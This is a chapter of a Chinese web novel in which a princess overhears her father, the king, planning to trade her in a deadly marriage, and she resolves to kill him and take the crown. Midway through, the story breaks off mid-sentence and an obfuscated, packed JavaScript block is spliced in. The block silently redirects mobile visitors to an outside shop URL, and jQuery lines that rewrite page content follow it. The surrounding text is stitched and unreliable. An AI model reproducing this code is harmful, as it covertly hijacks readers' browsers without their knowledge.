时间，是一条沉默的河流。它能冲刷掉英雄的功绩，也能掩埋罪人的骸骨。但有些时刻，却会像河底最顽固的礁石，永远地嵌在那里，无论河水如何奔腾，都无法磨灭其分毫，反而会在日复一日的冲刷中，变得愈发锋利，愈发冰冷。


    对于鞠婧祎而言，那个时刻，并非她用火枪对准自己父亲心脏的瞬间，也不是她亲手将那枚温热的国王印章从尸体上取下的瞬间。


    而是，在那之前的一周。


    一个同样潮湿、同样阴冷的雨夜。


    那时的那不勒斯王宫，还维持着它最后的、脆弱的体面。空气中没有后来那种浓得化不开的血腥与火药味，只有雨水拍打着窗棂的单调声响，和壁炉中火焰燃烧时发出的、令人昏昏欲睡的噼啪声。


    那时的国王，还是国王。他依旧是这座宫殿、这个王国唯一的、不容置疑的主宰。他依旧会在深夜的书房里，为了那些关乎疆土与税收的繁杂公务而彻夜不眠。


    那时的鞠婧祎，也还是那个公主。


    那个在所有人眼中，都如同被供奉在天鹅绒衬垫上的、一尊易碎的瓷娃娃。她永远穿着纯白色的蕾丝长裙，脸色永远带着一丝病态的苍白，说起话来，声音总是很轻，还伴随着几声恰到好处的、惹人怜爱的咳嗽。


    宫廷里的每一个人，从最高贵的公爵到最低贱的仆役，都习惯了她这副模样。他们怜悯她，同情她，却也轻视她，忽略她。她是王室血脉的象征，却不是权力的参与者。她是一幅美丽的、挂在墙上的画，仅此而已。


    而鞠婧祎，也早已习惯了扮演这幅“画”。


    “病弱”，是她从记事起，就为自己披上的、最坚固的铠甲，也是将她囚禁于此的、最华丽的牢笼。


    它让她远离了那些肮脏的权力斗争，也让她失去了所有能够掌控自己命运的可能。她像一只被精心喂养的金丝雀，拥有着最华丽的鸟笼，最精致的食水，却唯独没有飞翔的权力，甚至连鸣叫的音量，都要经过主人的允许。


    这一天晚上，雨下得很大。


    鞠婧祎刚刚结束了她那繁琐的、由数种珍贵草药熬制而成的“药浴”。贴身侍女小雅正带着几个女仆，手脚麻利地为她擦干身体，换上柔软的真丝睡袍。


    “殿下，您的脸色看起来比昨天好些了。”小雅一边为她梳理着如瀑布般的长发，一边用欣喜的语气说道，“这新换的方子，看来很管用呢。”


    鞠婧祎对着镜子，看着镜中那个面色苍白、眼神空洞的自己，嘴角牵起一抹微不可察的、自嘲的弧度。


    好些了？不，是她的演技，又精进了。


    “父亲……今晚又在书房处理公务吗？”她用那惯常的、虚弱的语气问道。


    “是的，殿下。”小雅回答，“听说，是为了和邻国西尔瓦尼亚的边境贸易问题，已经和财政大臣在里面商议好几个时辰了。”


    鞠婧祎的眼中，闪过一丝不易察觉的波澜。


    西尔瓦尼亚。那个以野蛮和贪婪著称的北方邻国。最近几年，他们在那不勒斯的边境上，挑起了数次不大不小的冲突。这件事，她有所耳闻。


    她沉吟了片刻，随即，对小雅吩咐道：“你们都退下吧。我想……亲自为父亲送一壶热茶过去。”


    “殿下，这怎么行！”小雅立刻紧张起来，“外面雨大风凉，您的身体……”


    “无妨。”鞠婧祎打断了她，她从床上缓缓起身，动作轻柔而缓慢，完美地扮演着一个病弱者的角色，“书房离这里不远。而且……我也很久，没有和父亲单独说说话了。”


    她的声音里，带着一丝属于女儿的、恰到好处的孺慕之情。


    小雅无法再拒绝。


    她只能眼睁睁地看着公主殿下，亲自走进小厨房，为国王泡上了他最喜欢的、加了双份蜂蜜的洋甘菊茶，又配上几块刚刚烤好的、还冒着热气的黄油酥饼，然后将它们小心翼翼地放在一个银质的托盘上，独自一人，走进了那条通往书房的、被雨夜笼罩的幽深长廊。


    长廊里很安静，只有她自己的、几乎听不见的脚步声，和窗外那哗啦啦的、仿佛要将整个世界都淹没的雨声。


    两侧墙壁上，悬挂着王室历代先祖的肖像。他们穿着华丽的礼服，佩戴着沉重的王冠，用一种冷漠而威严的目光，注视着她这个同样流淌着他们血脉的、孱弱的后辈。


    鞠婧祎的脚步很慢，她端着托盘，每一步都走得小心翼翼。


    她像一个真正的、孝顺的女儿，去探望自己辛劳的父亲。


    她甚至在想，等会儿见到父亲，该说些什么。是该劝他早些休息，还是该装作不经意地，问一问关于西尔瓦尼亚的事？


    然而，当她终于走到那扇熟悉的、由厚重橡木打造的书房门前时，她所有的盘算，都被门缝里漏出的一丝声音，彻底击得粉碎。


    门，虚掩着。


    里面传出的，是她父亲那熟悉的、沉稳的声音，以及另一位她同样熟悉的大臣——王国最年迈、也最保守的财政大臣，格里高利伯爵的声音。


    他们似乎正在争论着什么。


    鞠婧祎下意识地停住了脚步，屏住了呼吸。


    她本能地觉得，自己不该在这个时候进去打扰。


    但，她听到了自己的名字。


    “……陛下，请您三思！鞠婧祎殿下她……她毕竟是您唯一的女儿啊！”格里高利伯爵的声音里，带着一丝恳求与不忍。


    鞠婧祎的心，猛地一紧。


    “女儿？”国王的声音响了起来，那声音平稳、冷静，不带任何感情，像一块被冰水浸泡了千年的石头，“伯爵，你似乎忘了。在我这里，她首先是王室的公主，然后，才是一个女儿。”


    “而一个公主的价值，就在于她能为这个王国，带来多大的利益。”


    鞠婧祎端着托盘的手，微不可察地颤抖了一下。


    她强迫自己站稳，继续听下去。


    “可是……可是西尔瓦尼亚的那个国王……他……”格里高利伯爵的声音变得更加艰难，“他已经七十多岁了！而且……而且传闻他性情暴虐，有虐待妻子的恶疾！他前三任来自不同小国的王后，没有一个活过两年！把公主殿下嫁给他，那不是联姻，那是把她往火坑里推啊！”


    “火坑？”国王冷笑一声，那笑声里充满了对伯爵这番“妇人之仁”的鄙夷，“只要这个火坑，能为那不勒斯换来二十年的边境和平，能让我们打通北方的贸易航线，让我们每年的税收增加三成。那么，就算它真的是地狱，我的女儿，也必须面带微笑地，跳下去。”


    “轰——”


    窗外，一道闪电划破夜空，将整个长廊照得惨白。


    紧接着，一声惊雷，在鞠婧祎的头顶轰然炸响。


    但她，却仿佛什么都没有听见。


    她的世界，在听到父亲那句话的瞬间，就已经被另一道无声的、更加恐怖的闪电，给彻底劈开了。


    托盘在她手中剧烈地摇晃，银质的茶壶与杯子碰撞，发出一连串叮叮当当的、刺耳的声响。


    - 她死死地咬住自己的嘴唇，用尽全身的力气，才没有让托盘从手中滑落。


    她不敢相信。


    她不敢相信，这番话，是出自那个她称之为“父亲”的人之口。


    跳下去。


    面带微笑地，跳下去。


    原来，在她父亲的眼中，她不是女儿，不是血脉，甚至不是一个人。


    她只是一个可以被用来交换利益的、明码标价的、随时可以牺牲的——物品。


    a


    “陛下……您……您真的忍心吗？”格里高利伯爵的声音里，充满了最后的、绝望的挣扎。


    “忍心？”国王的声音变得更加冰冷，充满了不耐烦，“伯爵，你要记住，坐在这张椅子上的人，不需要有‘心’。我需要的，是计算，是权衡，是如何用最小的代价，换取最大的利益。”


    “而鞠婧祎，就是我这次交易中，代价最小的那个筹码。”


    国王顿了顿，仿佛在欣赏自己这番充满了“智慧”与“远见”的布局，他用一种更加残忍的、不带任何温度的语气，为这场交易，补上了最后一刀。


    “更何况，她那副病怏怏的样子，不是正好吗？”


    “就算她在西尔瓦尼亚，真的因为什么‘意外’而早早夭折了，那也只会是一场令人惋惜的悲剧，而不会成为两国交战的借口。一个死去的公主，有时候，比一个活着的，更有价值。”


    这句话，像一把淬了剧毒的、烧红的匕首，狠狠地、精准地，捅进了鞠婧祎的心脏。


    并将她心中，最后一丝对“父亲”、对“亲情”、对这个世界的幻想，给彻底搅得粉碎。


    她再也听不见任何声音了。


    听不见窗外的雨声，听不见书房内伯爵那徒劳的叹息，也听不见自己那早已变得冰冷的、剧烈的心跳。


    她的世界，变成了一片死寂的、无边无际的雪原。


    雪原之上，她看到了一幕幕过去的幻影。


    她看到在她年幼时，父亲曾偶尔地、在处理完公务后，会来看她一眼。他会摸摸她的头，问一问她的病情，然后，用一种充满了“慈爱”的眼神，对她说：“你要快点好起来，我的小公主。”


    那时的她，曾为这片刻的温情而欣喜不已。


    但现在她明白了。


    - 那不是父亲对女儿的关怀。


    那只是一个农场主，在巡视他即将用来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179197|196936||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    交易的、最贵重的那头牲畜的健康状况。


    她看到了在她母亲的忌日，她哭着跑到父亲面前，问他是否也和自己一样，在思念着母亲。而父亲，只是沉默地将她抱起，对她说：“不要哭，那不勒斯的公主，不需要眼泪。”


    那时的她，以为这是父亲在教导她坚强。


    - 但现在她明白了。


    那只是因为，在他眼中，无论是母亲，还是自己，都只是他用来巩固权力、交换利益的工具。工具的逝去，不值得他流一滴真正的眼泪。


    她看到了她自己。


    那个常年被囚禁在病榻之上，用草药与伪装，为自己构筑了一个安全牢笼的、愚蠢的自己。


    她以为，只要她足够乖巧，足够柔弱，足够没有威胁，她就能安安稳稳地，度过这属于公主的、看似尊贵的一生。


    - 但现在她明白了。


    羔羊的顺从，换不来豺狼的仁慈。


    它只会让豺狼在下口的时候，更加的，心安理得。


    漫长的、如同一个世纪般的死寂之后。


    鞠婧祎缓缓地，将那个还在微微颤抖的托盘，放在了门边的一张小几上。


    她没有再看那扇门一眼。


    她转身，沿着那条来时的、幽深的长廊，一步一步，走了回去。


    她的脚步，依旧很轻，很慢。


    但每一步，都走得无比沉重，也无比坚定。


    仿佛，她踩碎的，不是脚下的大理石地砖，而是那个曾经天真的、愚蠢的、对这个世界还抱有最后一丝幻想的自己。


    她回到了自己的寝宫。


    她遣退了所有闻声而来的侍女，独自一人，走到了那面巨大的穿衣镜前。


    - 她看着镜中那个依旧穿着纯白睡袍、脸色苍白、眼神空洞的少女。


    那是在所有人眼中，那不勒斯的公主，鞠婧祎。


    但她知道，在这一刻，镜子里的那个人，已经死了。


    她，和她那可怜的母亲一样，都成了国王的、王国的、权力的牺牲品。


    不。


    不对。


    一股前所未有的、冰冷的、如同岩浆般炽热的愤怒，从她那颗已经破碎的心脏最深处，猛地喷涌而出。


    凭什么？


    凭什么我的命运，要由别人来决定？


    凭什么我生来，就要成为一个任人摆布的、随时可以被牺牲的物品？


    凭什么他，那个高高在上的、所谓的“父亲”，可以如此心安理得地，决定我的生死？


    不！


    我绝不接受！


    我不是牺牲品！


    我不是筹码！


    我不是那只待宰的羔羊！


    鞠婧祎的眼中，那片死寂的雪原，在这一刻，彻底崩塌了。


    取而代之的，是两簇从地狱深处燃起的、足以将整个世界都焚烧殆尽的、疯狂的火焰！


    她看着镜中的自己，那张苍白脆弱的脸上，缓缓地，绽放出一抹诡异的、充满了决绝的微笑。


    她想起了王室秘闻中，关于那条只有国王本人才能开启的、通往寝宫的密道。


    她想起了她那位痴迷于炼金术的叔父，曾经在她面前炫耀过的、他新发明的、可以被轻易隐藏和携带的“袖珍火枪”。


    她想起了，那枚被她父亲随身携带的、象征着王国至高无上权力的、可以号令一切的——国王印章。


    一个疯狂的、大胆的、足以让整个那不勒斯都为之颠覆的计划，在她的脑海中，迅速成型。


    既然，这个世界，没有人能救我。


    那么，我就自己，来拯救自己。


    既然，这个王座，能赋予人随意决定别人生死的权力。


    那么，我就亲手，把它从现在的主人手中，拿过来。


    镜中，少女的笑容，愈发灿烂，也愈发冰冷。


    她伸出手，轻轻抚摸着镜面上那个与自己一模一样的倒影，仿佛在与另一个自己，缔结一个永不更改的、血的契约。


    “一个死去的公主，比一个活着的，更有价值？”


    她用只有自己能听见的声音，轻声呢喃，重复着她父亲那句最残忍的话。


    “不，父亲，您说错了。”


    “一个……死去的国王，才比一个活着的，更有价值。”


    “因为，他将为我，为他真正的继承人，献上他最后的、也是最宝贵的一件祭品——”


    “一个，绝对的，不容置疑的，王权。”


    那个雨夜，那不勒斯的公主，死了。


    取而代之的，是一个即将用父亲的鲜血为自己加冕的，女王。


    她的第一步，就是让这个王国，失去它的国王。